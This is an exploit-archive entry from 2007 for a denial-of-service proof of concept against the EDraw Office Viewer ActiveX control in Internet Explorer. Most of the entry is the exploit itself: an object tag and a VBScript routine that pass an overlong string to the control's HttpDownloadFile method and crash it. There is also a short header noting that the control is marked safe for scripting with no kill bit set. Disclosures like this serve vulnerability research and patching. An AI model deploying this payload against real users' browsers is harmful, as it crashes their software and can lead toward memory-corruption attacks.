EDraw Office Viewer Component Denial of Service Exploit

2007-05-30 00:00:00

<pre>
<span style="font: 14pt Courier New;"><p align="center"><b>2007/05/29</b></p></span>
<code><span style="font: 10pt Courier New;"><span class="general1-symbol">---------------------------------------------------------------------------------------------
<b>EDraw Office Viewer Component (edrawofficeviewer.ocx v. 4.0.5.20) Denial of Service Exploit</b>
url: http://www.ocxt.com/officeviewer.php

author: shinnai
mail: shinnai[at]autistici[dot]org
site: http://shinnai.altervista.org

Tested on Windows XP Professional SP2 all patched, with Internet Explorer 7
all software that use this ocx are vulnerable to this exploits.

This ActiveX is marked as:
RegKey Safe for Script: True
RegKey Safe for Init: True
KillBitSet: False
---------------------------------------------------------------------------------------------

<object classid='clsid:053AFEBA-D968-435F-B557-19FF76372B1B' id='test'></object>

<input language=VBScript onclick=tryMe() type=button value="Click here to start the test">

<script language='vbscript'>
Sub tryMe
buff = String(1000, "A")

test.HttpDownloadFile buff, "Default"

End Sub
</script>
</span></span>
</code></pre>

#

Fixes

No fixes

In order to submit a new fix you need to be registered.